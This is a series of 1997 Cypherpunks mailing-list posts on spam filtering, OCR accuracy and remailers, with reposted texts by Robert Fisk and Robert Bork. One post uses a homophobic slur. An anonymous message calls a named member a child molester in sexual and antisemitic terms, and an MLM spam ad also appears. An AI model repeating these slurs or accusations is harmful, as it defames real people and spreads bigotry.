2) filter at your own machine - there's lots of software.  Presumably
those requesting list server user controlled filtering are saying that
they find it too much hassle to install or learn how to use such
software, or that they don't want to pay for downloading garbage

3) start up a mailing list mirror, subscribe the mirror to
cypherpunks@toad.com, and implement user controlled filtering in
majordomo on the mirror.  This frees up some of toad.com's current
load, and puts all filtering load on the mirror.  If there's a demand
for such a service, someone can do it.

4) subscribe to a filtered version of cypherpunks, and run the risk
that the owner filters material which would be interesting to you.

5) setup a filtered version of cypherpunks which explicitly filters
just commercial spam, and mail loop errors.

Currently I use method 1.  A couple of people lately have so
consistently posted garbage that I am considering it may be worth the
effort of switching to method 2.  If someone did 5 and the delay was
reasonably short, I would probably subscribe to it.

The only thing I would be happy to see happen in the way of list based
filtering, is anything to cut out pure commercial, non crypto related
spam.  Spammers seem to have discovered mailing lists as efficient
distribution methods in addition to direct mass mailing lately.
Unfortunately this is difficult to filter automatically, and no one
has the time to do it in close to real time, and time lags hinder
discussion.

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Byrd <byrd@ACM.ORG>
Date: Fri, 3 Jan 1997 10:58:51 -0800 (PST)
To: alan@ctrl-alt-del.com>
Subject: Re: OCR and Machine Readable Text
Message-ID: <3.0.32.19970103135011.006af448@super.zippo.com>
MIME-Version: 1.0
Content-Type: text/plain


I used to work for an OCR company (Kurzweil, a division of Xerox; now Xerox
Advanced Imaging).  The OCR software they had did better than 95% over 10
years ago.

And yes, you could run on a 286.  The trick was to use a board plugged into
the 286 which itself had enough horsepower (a Motorola cpu) to do the job.
I actually started a project to develop a Windows (version 1.3!) driver for
this, but at the time Xerox had no interest in Windows.  So the project was
cancelled and the Windows people essentially dismissed.  Xerox now has a
Windows product called TextBridge.

At 12:35 PM 1/3/97 -0500, /**\\anonymous/**\\" <panther@iglou.com> wrote:
>Alan Olsen wrote:
>> I used to work for a company that would transfer entire archives of medical
>> journals.  Much of it we would just OCR.  Some of it we would send off
>> shore.  The OCR software was about 95% reliable and this was over 5 years
>> ago.  (And we were using 286 boxes for much of the OCR work.  Not a heavy
>> technoligical investment.)  I am sure that things have improved a great
>> deal since then.  (My new scanner included OCR software.  I will have to
>> run a test and report the findings.
>
>	I'd like to know what OCR software you were using.  All tests we
>completed at my place of employment were very poor quality wise.  We
>showed
>a %65 accuracy rate.  Not very good when you need to transfer a five
>year
>backlog of medical and technical journals.  This was using a high
>resolution
>scanner with a package that was bundled along with it.  About a year
>ago,
>my employer considered transfering data taken off of forms into a
>relational
>database using an OCR program.  Again, we found the findings to be too
>innacurate for our needs.  I may have just been using the wrong programs
>for
>the job, but the findings were depressing...
>
>panther
>
>> ---
>> |   If you're not part of the solution, You're part of the precipitate.  |
>> |"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
>> | mankind free in one-key-steganography-privacy!"  | Ignore the man      |
>> |`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
>> |         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|
>
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rabid Wombat <wombat@mcfeely.bsfs.org>
Date: Fri, 3 Jan 1997 12:19:27 -0800 (PST)
To: "/**\\anonymous/**\\" <panther@iglou.com>
Subject: Re: OCR and Machine Readable Text
In-Reply-To: <32CD435E.24DC@iglou.com>
Message-ID: <Pine.BSF.3.91.970103135903.8406A-100000@mcfeely.bsfs.org>
MIME-Version: 1.0
Content-Type: text/plain



Accuracy will depend on the quality of the original being scanned, as 
well as the capability of the OCR system; flat originals scan much better 
than the "bent open" pages of a book or magazine, heavy stock tends to 
let less "bleed" through from the reverse side, fonts with extreme 
kerning are more difficult, point size is a factor, etc.

I've seen 97%+ w/ Calera, (about 2 years ago) when using flat, first
generation high quality photocopies w/ minimal skew and courier or similar
typeface. OTOH, the same system did not scan well at all w/ badly skewed
photocopies (caused by the "bend" induced by the binding of the original).
If you are scanning medical journals, take a look at your originals and
also at where the errors are occuring. 

You can also use a spell checker (after building up a suitable dictionary 
for your application) to cut out some of the error.

I'd guess your results to be less satisfactory for other applications 
where extreme accuracy is a must. "3", "8", and "B" for example, are 
often confused; not a big problem w/ a medical journal, but plays havoc 
w/ code, accouting data, etc.

-r.w.

On Fri, 3 Jan 1997, /**\anonymous/**\ wrote:

> Alan Olsen wrote:
> > I used to work for a company that would transfer entire archives of medical
> > journals.  Much of it we would just OCR.  Some of it we would send off
> > shore.  The OCR software was about 95% reliable and this was over 5 years
> > ago.  (And we were using 286 boxes for much of the OCR work.  Not a heavy
> > technoligical investment.)  I am sure that things have improved a great
> > deal since then.  (My new scanner included OCR software.  I will have to
> > run a test and report the findings.
> 
> 	I'd like to know what OCR software you were using.  All tests we
> completed at my place of employment were very poor quality wise.  We
> showed
> a %65 accuracy rate.  Not very good when you need to transfer a five
> year
> backlog of medical and technical journals.  This was using a high
> resolution
> scanner with a package that was bundled along with it.  About a year
> ago,
> my employer considered transfering data taken off of forms into a
> relational
> database using an OCR program.  Again, we found the findings to be too
> innacurate for our needs.  I may have just been using the wrong programs
> for
> the job, but the findings were depressing...
> 
> panther
> 
> > ---
> > |   If you're not part of the solution, You're part of the precipitate.  |
> > |"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
> > | mankind free in one-key-steganography-privacy!"  | Ignore the man      |
> > |`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
> > |         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|
> 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Murray <ericm@lne.com>
Date: Fri, 3 Jan 1997 14:35:32 -0800 (PST)
To: fod@brd.ie (Frank O'Dwyer)
Subject: Re: Hardening lists against spam attacks
In-Reply-To: <199701031110.LAA31173@brd.ie>
Message-ID: <199701032232.OAA24347@slack.lne.com>
MIME-Version: 1.0
Content-Type: text/plain


Frank O'Dwyer writes:
 
 
> > [...] the drivel that comes from some of our more prolific posters is
> > best handled by filtering by the list members themselves.  (I currently
> > have 3 of them going directly to the trash.  Perhaps aga should get
> > kickbacks from Qualcomm.  He managed to sell a copy of EudoraPro.)
> 
> It would be nice if each user could install filters on Majordomo itself.
> Not only would we not need to buy Eudora Pro, but we wouldn't have to
> pay to download messages we didn't want to read, and without having
> to employ a moderator (censor).


Bad idea.  It's tough enough on the host running a list with 1500 or
2000 people on it.  Adding outbound filtering for each user would
be a real burden on the list host.  It's better to distribute the
processing by making the user agent (or mail transport that's delivering
to the user) do the filtering.

In addition, a filtering majordomo will only 'protect' the lists that it
serves.  I don't know about you but I get a lot of spam from all sorts
of different sources.  I need to have a filter anyhow.  It's not hard to
add some more rules to filter out each lists's bozos.  It's a lot
simpler to do that than it would be to upload filter rules to each
of the 10 or 12 listservers I get mail from.


There's also a security issue.  How are you going to set it up so
that I can't say hack Tim May's filters to send him nothing but posts
from Phil H-B and Detwiler?  Yea, you can do it with passwords or
PGP or whatever, but it's still more overhead.  Why bother with it
when you don't need to?


-- 
Eric Murray  ericm@lne.com  ericm@motorcycle.com  http://www.lne.com/ericm
PGP keyid:E03F65E5 fingerprint:50 B0 A2 4C 7D 86 FC 03  92 E8 AC E6 7E 27 29 AF




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Butler, Anthony" <BUTLERA2@anz.com>
Date: Fri, 3 Jan 1997 08:47:11 -0800 (PST)
To: sd <proff@suburbia.net>
Subject: Increasing dangers facing journalists who 'name the bad guys'
Message-ID: <c=AU%a=_%p=ANZ%l=ANZINETDMZ/MELINETDMZ/00174EF3@gtwau300.anz.com>
MIME-Version: 1.0
Content-Type: text/plain




DISCUSSION

Increasing dangers should not deter journalists from 'naming the bad
guys'

    TOPIC:
    "Frontlines and Deadlines: A View from the War Zones"

    SPEAKER
    Robert Fisk, correspondent, The Independent

When John Owen first called me in Beirut and asked me to talk to you
this
morning about journalists under fire, several names immediately came to
mind because they are colleagues and friends who proved how easy it is
for
a journalist to die in the Middle East: Bob Pfeffer, Larry Buchman, Sean
Toolin, Clark Todd, Tewfig Ghazali and Bahij Metni.

Bob Pfeffer worked for Stern and was investigating Palestinian
gun-running
when four members of the Popular Front for the Liberation of Palestine
murdered him with automatic rifle fire outside the door of his home.

Sean filed for The London Observer and was killed when two men, probably
Palestinians, stabbed him to death by hitting him in the face with an
ice
pick on Abdul-Aziz Street, not far from my home.

Clark stayed in the Druze village as the Phalange militia closed in on
it,
took a piece of shrapnel in the chest, wrote a last message to his wife
on
the pillowcase, and -- if one of the villagers I spoke to is to be
believed -- was finished off by a Phalangist militiaman who shot him to
death as he lay wounded on a sofa.

Tewfig and Bahij were CBS cameramen blown, quite literally, to pieces by
an Israeli tank shell which was fired, so the Israelis claimed, at what
they called "terrorists."

But I never imagined, when I originally wrote these first words for this
talk, that I would find myself offering the name of another reporter who
should have been sitting with us here this morning -- that of Veronica
Guerin -- savagely murdered by hit men for a Dublin mafia boss. I worked
in Ireland for five years and no man or woman there, back in the '70s,
would ever kill a journalist. As one of Veronica's Irish colleagues said
to me last night, "Everything has changed now. If it can happen once, it
can happen again."  A journalist, a mother, a great writer -- murdered
because she had the guts to tell the truth. And the journalists who
gather
for Veronica's funeral tomorrow morning will feel anger and rage and
pity
and -- let us forgive them, for it applies to all of us when our
colleagues die -- a little fear as well.

In Algeria, almost 50 journalists have been killed, almost all of them
working in the local press -- deliberately, grotesquely, their heads
often
severed from their backbones by men who call themselves Islamists, and
who
claimed the journalists worked for the military-backed government, even
though some of those journalists had been imprisoned by that same
government. My French colleague, Olivier Quemener, gave me a cheerful
farewell in the Al Djezair hotel in Algiers a couple of years ago. He
was
off to the Casbah to film, he said. I was going to the Kouba district of
the city.  When I returned to our hotel, Quemener was dead -- shot in
the
chest and killed by a man who claimed he was an Islamist. His reporter,
gravely wounded, was found lying, weeping beside his friend's body.

In Bosnia, the cull of reporters and photographers and cameramen reached
such proportions that we started armoring ourselves -- strapping 14
kilos
of steel to our chests and backs and then curling ourselves into the
bosoms of armored cars. A few weeks in Sarajevo and I realized why
medieval knights had to be winched onto their horses by cranes. Running
was so exhausting that I scarcely had the energy to file a report; the
danger, so awful, that I was almost too frightened to perform the
physical
act of writing.

We ask ourselves, of course, why we do it. Those of us who do not die
find
our own reasons. In a world of deceit, I believe we are among the few
independent witnesses to history and to its wickedness. And although the
risks are increasing as the old traditional protection bestowed upon
journalists decays, I still believe we should be out there, naming the
bad
guys. In other words, I still think the risks are worth taking. But I
use
the word "think," and let me tell you why:

Because weaponry is growing more sophisticated in the science of
killing.

Because we are not always supported by those who should wish to protect
us
but (who) instead ignore our requests for help or curse us for our
attempt
to tell the truth.

Because journalists are being verbally targeted ever more assiduously by
governments and pressure groups who wish to demean our work and prove
that
the risks we take are worthless.

This may not be the message you expected to hear from me this morning,
so
let me, from my own experience, be more precise. Let's start with the
weaponry. This is a tiny steel arrow. It was one of hundreds of equally
tiny steel arrows packed into an Israeli tank shell that killed five
civilians near the Lebanese town of Nabatea a couple of years ago. The
shell is proximity-fused, timed to explode above the ground and turn any
human beneath it to meat. These shells have been fired frequently over
southern Lebanon. Since the danger of kidnapping by the Hezbollah (has
subsided), these are my greatest fear and my greatest nightmare. And
here
is part of an aerial bomb dropped close to a U.N.  convoy in which I was
traveling in April, just a tiny bit of shrapnel that hissed over us,
red-hot enough to sever a head or two.

During that same Israeli offensive last April, set off when Hezbollah
guerrillas fired Katyusha rockets into Israel after the killing of a
Lebanese village boy by a bomb -- for which the Hezbollah claimed the
Israelis were responsible and the Israelis said they were not -- Israeli
gunboats shelled the coast road on which all of us journalists have to
travel between Beirut and southern Lebanon. They were shooting, they
said,
at terrorists. Two American reporters and a British journalist asked
their
editors to make a demarche to the Israeli embassies in London and in
Washington to protest the risk of death that their reporters were
running
at the hands of the Israelis in order to get the story. The British
editor, not, I should add, my editor, declined to approach the Israelis
because he said he didn't see the point. Both American editors refused
to
complain on their reporters' behalf because they said it would make no
difference.  In the end, it was we journalists in the field who had to
discover that the Israeli gunboats cannot penetrate rain or fog with
their
radar. Thus, it was the pre-dawn mist off the sea and the decision to
drive in rain squalls -- not editors -- which helped to save us.

Now, I'll refer briefly to my paper, The Independent, which has loyally
defended me and stood by my stories over many years. On the day of the
Qana massacre, I spent seven hours under Israeli fire, had air strikes
250
meters from my location on three occasions and ended the day walking in
the blood of a hundred dead refugees. Most of the letters from
Independent
readers thanked me for trying to tell how it was. Others did not. Let me
quote from one of these. "I do not like or admire anti-Semites. Hitler
was
one of the most famous in recent history. You are a disgrace to a
profession that should report the news."

Nor should you believe that this kind of slander comes from those who
support Israel, right or wrong. When I reported on Egypt's deeply flawed
elections last year and investigated systematic torture and human rights
abuses by the Egyptian State Security Police, I was attacked in Egypt's
most prestigious newspaper, Al Ahram, by the columnist Abdul Aziz
Ramadan.
I was guilty, he said, of "spreading lies and deceit." I was
"discredited," a "spiteful liar," a "fake," a "black crow pecking at the
corpse of Egypt."

And, after I investigated torture in the state security police
headquarters in Bahrain -- a headquarters run, by the way, by a British
former Special Branch officer called Ian Henderson -- the Bahrain
newspaper, Akbar al-Khaleej, portrayed me in a cartoon, along with two
colleagues -- Simon Ingram of the BBC and Christopher Walker of The
Times
 -- as a rabid dog, straining on what was labeled a Murdoch/Maxwell
leash,
in my attempt to get my teeth into a bag of cash.

Humorous enough, you might think. Certainly nothing to worry a
hard-skinned reporter. True, but in the Arab world, a dog -- a kelb --
is
something dirty. There is a word, najis in Arabic, dirty like a dog. A
dog
is an animal scarcely worthy of life, certainly not one whose life
should
be protected. And rabid dogs should be put down, exterminated.

Lastly, a more disturbing example of the reason why I say I "think,"
rather than I "believe," about the risks we take. In 1993, I made three
films with director Michael Dutfield called "Beirut to Bosnia" -- in
Lebanon, Gaza, Israel, Egypt and Bosnia itself. They were made for
Channel
4 in Britain and The Discovery Channel in the United States. They were
an
attempt to show why so much hatred and mistrust was building up against
the West in the Muslim world. We filmed the Hezbollah, Hamas, the
Israeli
army during curfews, Israeli settlers, the family of a Holocaust victim
whose tragic family history we retraced in Poland, and the forced
evacuation of Muslims from their homes in Northern Bosnia. We were
threatened with government censorship in Egypt, sniped at and shelled in
Sarajevo, ordered to stop filming three times by Israeli troops in Gaza.

Yet, after the film first aired in the States, Israeli lobby groups
brought commercial pressure to bear on Discovery. Credit cards were
returned to American Express, one of the U.S.  sponsors, cut in half.
One
letter claimed that we should have called the occupied West Bank
"disputed"  rather than "occupied." To say, as we did, that Israel
builds
huge Jewish settlements on Arab land -- all facts acknowledged by
Israeli
human rights groups, as well as by foreign correspondents and diplomats
--
was, according to the letter, twisted history. To say that Israeli
troops
sent the Phalangists into the Sabra and Chatila camp at the time of the
1982 Palestinian massacre -- an incontrovertible damning fact, agreed by
Israel's own commission of inquiry -- was "an egregious falsehood."
Another letter from a lobby group described me as "spreading venom into
the living rooms of America." I was, and I quote, "Henry Higgins with
fangs."

Less funny, however, was Discovery's decision after receiving these
extraordinary letters not to give the film a second showing. Asked if he
had canceled the second showing because of pressures from these
lobbyists,
Clark Bunting, the channel's senior vice president, replied, "Given the
reaction to the series upon its initial airing, we never scheduled a
subsequent airing, so there is not really an issue as to any scheduled
re-airing being canceled." When I read these gutless words, ladies and
gentlemen, I was ashamed to be a foreign correspondent.

Now, this, as the title of my talk says, is a view from the war zones --
a
jaundiced view perhaps, certainly a personal one. But as one of those
who
has to drive into the smoke and fire from time to time, far too often,
and
I expect ever more frequently, I draw several conclusions:

We are killed because of ill fortune and because the technology of death
has improved.

We are killed because of the evil of those who murder us to keep us
quiet.

We are, in effect, killed too because we are attacked by those who wish
to
take away our identity as honest witnesses, who wish to demean us, call
us
liars or racists, and thus, in effect, make us unworthy of the
protection
we so often need.

Why, after all, should anyone care about a journalist whose work can be
discarded for commercial reasons, or whose peers simply fail at the
lowest
hurdle to plead their reporters' cause? This last category, the lobby
groups, the abusive journalists on government newspapers, are not
killers
in themselves, of course. But they seek to make our lives less worthy,
and
thus provide an environment in which our deaths are a small matter.  So
the message I find in my particular front line is a simple one: Defend
our
work and you protect our lives.

DISCUSSION

Jerry Lewis (Israel Radio): Why is it you seem to believe that
everything
that seems to go wrong has an Israel bias? I refer specifically to your
television documentaries, except for the one on Bosnia itself. But [in]
the ones concerning the Middle East, you seem to imply throughout that
Israel's hidden hand is the cause of all the ills in the region.

Robert Fisk: That's your interpretation. It's certainly not mine.

Peter Hunter (manager of safety services for BBC News): One of the
problems we have is that most journalists are not trained to protect
themselves. What we have been trying to do for the BBC is to provide
lightweight, high-quality body armor, which in fact enables you to do
your
job.

Fisk: I don't know how to get around the body-armor problem. We never
used
it in Lebanon under shell fire in the siege of Beirut in '82, which was
just as bad as Sarajevo. The reason is it was too hot. In southern
Lebanon, when I am on U.N. convoys and they are under fire, I wear a
U.N.
flack jacket, which is very light. Otherwise, I'm in my ordinary
clothes.
It goes up to 110 degrees.

If [journalists] haven't been to war before, [they should] forget
everything they ever saw in Hollywood and realize that war is not about
victory or defeat -- it's about death. The learning process comes in
learning what roads to go down instead of rushing into the story,
slowing
down and asking the local people, "Have you seen anything? Has anyone
come
up this road in the other direction? If a car flashes its lights at you,
why is it doing so?" These things I was told before I covered the war in
Lebanon. But I didn't learn it until I was there, because you don't. If
journalists spend as much time thinking about war as they do fitting on
body armor and working out what their blood group is, it would do a lot
of
good. Journalists should read about what war is really like, over and
over, before they go.

Phil Hammond (London International Research Exchange): Why now is it
such
a topic of discussion, the risks that journalists take? Is it that the
profession has become more dangerous? Or is it that conflicts are seen
nowadays as something which threaten Western countries? Also I wonder
whether you think it's still a danger, or more of a danger, nowadays
that
journalists identify closely with the military.

Fisk: We've been talking about it for years, and I've been thinking
about
[the risks] every day for 20 years in the Middle East. I think the
reason
why we speak more about it publicly now is there are many more
journalists. Television and radio has just blossomed with more and more
correspondents, and with more journalists there are more deaths.

I don't think it is healthy for journalists to meld into the military or
into the government. There are countries, not the United States, not
largely Britain, that do constantly challenge military assumptions.
France
is one. Mr. Lewis will tell you that Israeli journalists are constantly
challenging the military assumptions and criticizing them most harshly,
in
a way that in Britain we do not do. If you look at the Israeli press's
treatment of Israeli generals when they have made mistakes, they are
very
savage, and that's democracy. When you look at what the British and
American press do, it's pathetic. We don't challenge these people,
especially at a time of war when we need to, because there is,
particularly in the United States, this dictatorship of consensus -- the
feeling to criticize or suggest that your allies may be wrong is somehow
unpatriotic. And that's enough to keep you off the networks.
 ---





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dennis10301@www1.utech.net (Dennis Alverson)
Date: Fri, 3 Jan 1997 17:12:46 -0800 (PST)
To: cypherpunks@toad.com
Subject: Guaranteed downline!!!
Message-ID: <Ready Aim Fire!_1/3/97 5:12:09 PM_10301@utech.net>
MIME-Version: 1.0
Content-Type: text/plain



WANTED: FRUSTRATED NETWORKERS. 
MLM Breakthrough. Downline built for you -- GUARANTEED. No fees or hassles. For info visit my web site before the internet explosion begins.  http://www.entrepreneurs.net/don/changes-da1132.html or send email to my autoresponder at dennis-ch@don.gen.com

----------------------------------------------------------------------------------------------------------------------
You don't have to respond to this message.  You will not be sent this message from
me again.
----------------------------------------------------------------------------------------------------------------------






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 3 Jan 1997 16:50:12 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: ASSHOLE FAGGOT J.D. Falk
In-Reply-To: <199701032052.OAA03255@smoke.suba.com>
Message-ID: <819yZD2w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


snow <snow@smoke.suba.com> writes:

> > The recognition that most every problem person is of a homosexual
> > nature is definitely a usenet body-politic phenomenon, which will
> > be documented and verified with whatever means that become necessary.
> 
>      You are a problem, therefore, you are a homosexual.
> 
>      Gee, isn't logic fun?
> 

Just following the homos' logic... If you don't like someone and
he happens to be a homo, then you're a homophobe, and all the homos
are supposed to fuck you over.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lcs Remailer Administrator <mix-admin@nym.alias.net>
Date: Fri, 3 Jan 1997 11:17:56 -0800 (PST)
To: cypherpunks@toad.com
Subject: What happened to remailer-operators@c2.org?
Message-ID: <19970103191721.9665.qmail@anon.lcs.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain


Sorry for this somewhat off-topic post, but I figured it was the best
way to reach people who would know.

Does anyone know what happened to the remailer-operators@c2.org
mailing list?  I get:

  rcpt to:<remailer-operators@c2.org>
  550 <remailer-operators@c2.org>... User unknown

Thanks.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@replay.com (Anonymous)
Date: Fri, 3 Jan 1997 10:57:45 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Accounts payable
Message-ID: <199701031857.TAA13354@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


Timothy May the self-admitted child molester possesses a 
rudimentary dick less than one inch long, half the size of his 
mother's clitoris, that barely makes a fistful. Thereby hangs the 
root of this Jew-hating sissy's sick fixation on little boys and 
Usenet forgeries.

 ____
 \ _/__ Timothy May
  \\  /
    \/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rich Graves <rcgraves@disposable.com>
Date: Fri, 3 Jan 1997 20:36:27 -0800 (PST)
To: cypherpunks@toad.com
Subject: Civil rights, wrongs, and extremism in the defense of liberty
Message-ID: <32CDDDE7.13EA@disposable.com>
MIME-Version: 1.0
Content-Type: text/plain


Bill Frantz mentioned the 1960's civil rights movement as one of those 
revolutions that Thomas Jefferson thought were a good idea. Maybe 
that's what he had in mind, maybe not. It's good to keep in mind that 
other people, including many here, may have different conceptions of 
ordered liberty than we do. Here's a Bork piece from 1963.

I also recommend the lengthy article on "Liberalism Defined" in the 
21-12-96 issue of The Economist. It's online, at least for a while, at 
http://www.economist.com/issue/21-12-96/xm0017.html

-rich

http://www.tezcat.com/~nrn/bork63.txt

Civil Rights - A Challenge
by Robert Bork

Passions are running so high over racial discrimination
that the various proposals to legislate its manifestations
out of existence seem likely to become textbook examples
of the maxim that great and urgent issues are
rarely discussed in terms of the principles they necessarily 
involve. In this case, the danger is that justifiable
abhorrence of racial discrimination will result in legislation
by which the morals of the majority are self-righteously
imposed upon a minority. That has happened before in the
United States - Prohibition being the most notorious instance -
but whenever it happens it is likely to be subversive of free 
institutions.

Instead of a discussion of the merits of legislation, of which
the proposed Interstate Public Accommodations
Act outlawing discrimination in business facilities
serving the public may be taken as the prototype, we
are treated to debate whether it is more or less cynical
to pass the law under the commerce power or the Fourteenth
Amendment, and whether the Supreme Court is
more likely to hold it Constitutional one way or the
other. Heretical though it may sound to the constitutional
sages neither the Constitution nor the Supreme
Court qualifies as a first principle. The discussion we
ought to hear is of the cost in freedom that must be
paid for such legislation, the morality of enforcing
morals through law, and the likely consequences for
law enforcement of trying to do so.

Few proponents of legislation such as the Interstate
Public Accommodations Act seem willing to discuss
either the cost in freedom which must accompany it or
why this particular departure from freedom of the
individual to choose with whom he will deal is justified.
appears to recognize but to wish to avoid these questions,
for, in speaking on behalf of the bill before a congressional committee,
he went so far as to state that the law would create no
precedent. That of course is nothing less than an admission 
that he does not care to defend the bill on general principles.

There seems to be a strong disposition on the part of
proponents of the legislation simply to ignore the fact
that it means a loss in a vital area of personal liberty.
That it does is apparent. The legislature would inform
a substantial body of the citizenry that in order to continue
to carry on the trades in which they are established they must
deal with and serve persons with whom they do not wish to
associate. In part the willingness to overlook that loss of freedom
arises from the feeling that it is irrational to choose associates on
the basis of racial characteristics. Behind that judgment,
however, lies an unexpressed natural-law view that
some personal preferences are rational, that others are
irrational, and that a majority may impose upon a
minority its scale of preferences. The fact that the
coerced scale of preferences is said to be rooted in a
moral order does not alter the impact upon freedom. In
a society that purports to value freedom as an end in
itself, the simple argument from morality to law can
be a dangerous non sequitur. Professor Mark DeWolf
Howe, in supporting the proposed legislation, describes
southern opposition to "the nation's objective" as an
effort "to preserve ugly customs of a stubborn people."

So it is. Of the ugliness of racial discrimination there
need be no argument (though there may be some
presumption in identifying one's own hotly controverted
aims with the objective of the nation). But it is one thing
when stubborn people express their racial antipathies in
laws which prevent individuals, whether white or Negro,
from dealing with those who are willing to deal with them,
and quite another to tell them that even as individuals they
may not act on their racial preferences in particular areas of
life. The principle of such legislation is that if I find your
behavior ugly by my standards, moral or aesthetic, and
if you prove stubborn about adopting my view of the situation, I
am justified in having the state coerce you into more
righteous paths. That is itself a principle of unsurpassed ugliness.

Freedom is a value of very high priority and the
occasions upon which it is sacrificed ought to be kept to
a minimum. It is necessary that the police protect a
man from assault or theft but it is a long leap from
that to protection from the insult implied by the refusal
of another individual to associate or deal with
him. The latter involves a principle whose logical reach
is difficult to limit. If it is permissible to tell a barber or
a rooming house owner that he must deal with all who
come to him regardless of race or religion, then it is
impossible to see why a doctor, lawyer, accountant, or
any other professional or business man should have
the right to discriminate. Indeed, it would be unfair
discrimination to leave anybody engaged in any commercial
activity with that right. Nor does it seem fair
or rational, given the basic premise, to confine the
principle to equal treatment of Negroes as customers.
Why should the law not require not merely fair hiring
of Negroes in subordinate positions but the choice of
partners or associates in a variety of business and
professional endeavors without regard to race or creed?
Though such a law might presently be unenforceable,
there is no distinction in principle between it and what
is proposed. It is difficult to see an end to the principle
of enforcing fair treatment by private individuals. It
certainly need not be confined to racial or commercial
matters. The best way to demonstrate the expansive
ness of the principle behind the proposed legislation is
to examine the arguments which are used to justify it.

Perhaps the most common popular justification of
such a law is based on a crude notion of waivers:
Insistence that barbers, lunch counter operators, and
similar businessmen serve all comers does not infringe
their freedom because they "hold themselves out to
serve the public." The statement is so obviously a fiction
that it scarcely survives articulation. The very reason for
the proposed legislation is precisely that some individuals
have made it as clear as they can that they
do not hold themselves out to serve the public.

A second popular argument, usually heard in connection
with laws proposed to be laid under the Fourteenth
Amendment, is that the rationale which required
the voiding of laws enforcing segregation also requires
the prohibition of racial discrimination by business
licensed by any governmental unit because "state action"
is involved. The only legitimate thrust of that
"state action" characterization, however, is to enable
courts to see through governmental use of private
organizations to enforce an official policy of segregation.
There is a fundamental difference between saying that
the state cannot turn over its primary election process,
which is actually the only election that matters, to the
"private" and all-white Democratic Party and saying
that a chiropodist cannot refuse a Negro patient because
a state board has examined him and certified his
competence. The "state action" concept must be confined
to discerning state enforcement of policy through
a nominally private agency or else it becomes possible
to discern the hand of the state in every private action.

One of the shabbiest forms of "argument" is that
endorsed by James Reston when he described the contest
over the public accommodations bill as one between
"human rights" and "property rights." Presumably no
one of "liberal" views has any difficulty deciding the
question when so concisely put. One wishes
nonetheless, that Mr. Reston would explain just who
has rights with respect to property other than humans.
If A demands to deal with B and B insists that for reasons
sufficient to himself he wants nothing to do with
A, I suppose even Reston would agree that both are
claiming "human rights" and that this is in no way
changed if one of the humans is colored and the other
white. How does the situation change if we stipulate
that they are standing on opposite sides of a barber
chair and that B owns it?

A number of people seem to draw a distinction between
commercial relationships and all others. They feel justified,
somehow, in compelling a rooming house
owner or the proprietor of a lunch counter to deal with
all comers without regard to race but would not legislate
acceptance of Negroes into private clubs or homes. The
rationale appears to be that one relationship is highly
personal and the other is just business. Under any system
which allows the individual to determine his own
values that distinction is unsound. It is, moreover,
patently fallacious as a description of reality. The very
bitterness of the resistance to the demand for enforced
integration arises because owners of many places of
business do in fact care a great deal about whom they
Serve. The real meaning of the distinction is simply
that some people do not think others ought to care that
much about that particular aspect of their freedom.

One of the Kennedy administration's arguments for
the bill is that it is necessary to provide legal redress in
order to get the demonstrators out of the streets. That
cannot be taken seriously as an independent argument.
If southern white racists - or northern ones, for that
matter - were thronging the streets, demanding complete
segregation of commercial facilities, it is to be
hoped that no responsible politician would suggest
passing a law to enable them to enforce their demands
in court. In this connection, it is possible to be somewhat
less than enthusiastic about the part played by "moral
leaders" in participating in demonstrations against private
persons who discriminate in choice of their patrons. It
feeds the danger of the violence which they
are the first to deplore. That might nevertheless be
tolerable if they were demonstrating against a law that
coerced discrimination. They are actually part of a mob
coercing and distributing other private individuals in
the exercise of their freedom. Their moral position is
about the same as Carrie Nation's when she and her
followers invaded saloons.

Though the basic objection is to the law's impact
upon individual liberty, it is also appropriate to question
the practicality of enforcing a law which runs contrary
to the customs, indeed the moral beliefs, of a large
portion of the country. Of what value is a law which
compels service to Negroes without close surveillance
to make sure the service is on the same terms given to
whites? It is not difficult to imagine many ways in
which barbers, landlords, lunch counter operators, and
the like can nominally comply with the law but effectively
discourage Negro patrons. Must federal law enforcement
agencies become in effect public utility commissions
charged with the supervision of the nation's
business establishments or will the law become an 
unenforceable symbol of hypocritical righteousness?.

It is sad to have to defend the principle of freedom
in this context, but the task ought not to be left to those
southern politicians who only a short while ago were
defending laws that enforced racial segregation. There
seem to be few who favor racial equality who also perceive
or are willing. to give primacy to the value of freedom in this
struggle. A short while back the majority of the nation's moral
and intellectual leaders opposed all the manifestations of 
"McCarthyism" and quite correctly assured the nation that
the issue was not whether communism was good or evil but whether
men ought to be free to think and talk as they pleased.
Those same leaders seem to be running with the other
pack this time. Yet the issue is the same. It is not
whether racial prejudice or preference is a good thing
but whether individual men ought to be free to deal
and associate with whom they please for whatever reasons 
appeal to them. This time "stubborn people" with
"ugly customs" are under attack rather than intellectuals
and academicians; but that sort of personal comparison
surely ought not to make the difference.

